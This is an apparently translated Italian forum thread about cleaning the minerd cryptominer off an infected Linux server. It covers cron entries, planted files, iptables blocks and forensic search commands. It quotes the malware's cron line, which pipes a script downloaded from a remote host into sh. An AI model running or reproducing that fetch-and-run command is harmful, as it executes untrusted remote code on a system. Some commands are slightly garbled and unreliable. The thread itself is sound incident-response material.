Ho trovato la soluzione per rimuovere minerd
. Sono stato abbastanza fortunato da trovare lo script effettivo utilizzato per infettare il mio server. Tutto quello che dovevo fare era rimuovere gli elementi inseriti da questo script -
- Su suggerimento di monkeyoto, ho bloccato tutte le comunicazioni con il server del pool di mining -
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
eiptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
. - Rimosso il cron
*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh
da/var/spool/cron/root
e/var/spool/cron/crontabs/root
. - Rimossa la directory
/opt/yam
. - Rimosso
/root/.ssh/KHK75NEOiq
. - Eliminati i file
/opt/minerd
e/opt/KHK75NEOiq33
. - Arrestato il processo di mining -
pkill minerd
. - Interrotto
lady
-service lady stop
.
Ho eseguito ps -eo pcpu,args --sort=-%cpu | head
, top -bn2 |sed -n '7,25'p
e ps aux | grep minerd
dopodiché il malware non si vedeva da nessuna parte.
Devo ancora capire come ha ottenuto l'accesso al sistema, ma sono riuscito a disabilitarlo in questo modo.
Il tuo primo obiettivo è (se non vuoi reinstallare) è determinare come è riuscito ad arrivarci in primo luogo. Se l'attaccante era furbo, avrebbe eseguito "timestomp" per modificare le date dei binari. La riduzione al minimo di SSH fa poco se stai utilizzando una versione vulnerabile di Wordpress, o Joomla o qualcosa di diverso. Ad esempio, c'era un exploit Nagios utilizzato da qualcuno per eseguire minerd. Quindi l'obiettivo... "Determinare cosa è in esecuzione, perché è in esecuzione ed è vulnerabile?"
In secondo luogo, vuoi bloccare tutte le comunicazioni da e verso il server del pool di mining:
iptables -A INPUT -S xmr.crypto-pool.fr -j DROP
Quindi, come si determina cosa è stato modificato/cambiato/vulnerabile? Devi capire il tuo sistema. Cosa fa, perché lo fa e chi ha bisogno di accedervi. Cercherei i miei crontab per vedere cosa, se qualcosa sta iniziando. Potresti eseguire:service --status-all
per vedere quali servizi sono in esecuzione/avvio e indagare su quelli. /opt/minerd sembra essere un file, esegui il checksum di quel file e potresti creare uno script per cercare qualsiasi cosa chiami quel file o qualsiasi file che corrisponda, ad esempio:find / | xargs grep -i minerd
o find / | xargs grep -i CHECKSUM_of_MINERD
(Tieni presente che questo è un modo brutale di cercare all'interno dei file).
Terzo, controlla i tuoi log. Se stai eseguendo un server web, inizierei con i log degli errori (error_logs) e cercherò più 403 e 404 da un indirizzo seguito da una connessione riuscita in access_log. Controlla il percorso che è stato accettato (ad es. 200:/var/www/nagios_or_something_vulnerable/config.php) e guarda all'interno della directory. Esistono molti approcci per trovare queste informazioni, ma nessuno qui può darti una risposta completa in quanto possiamo solo dedurre informazioni in base alla quantità limitata di informazioni che pubblichi.
"Ho un file chiamato minerd in partenza!" Scava per quel file. (find /|xargs grep -i minerd
). "Usa questa strana corda!" (find / |xargs grep -i 47TS1NQvebb3Feq
). "Fa una connessione alla porta 8080!" (lsof -i | awk '/8080|http-alt/{print $1"\t"$2"\t"$8"\t"$9}'
). "Si sta connettendo a questo indirizzo!" (lsof -i | grep xmr.crypto
... Ora hai una linea di base delle cose che puoi fare.
Il problema è che il minerd è probabilmente il payload di alcuni (altri) malware, quindi non puoi davvero dire cos'altro è stato compromesso nel sistema. Forse non c'è nient'altro residente nel sistema, e vieni reinfettato ogni volta che uccidi il minatore.
In alternativa c'è qualche processo di gestione/dropper che ha aperto una backdoor sul tuo server.
La scommessa più sicura è ricreare il server. Tuttavia, se si desidera eseguire la scansione, è possibile ottenere gratuitamente Sophos Anti-Virus da https://www.sophos.com/en-us/products/free-tools/sophos-antivirus-for-linux.aspx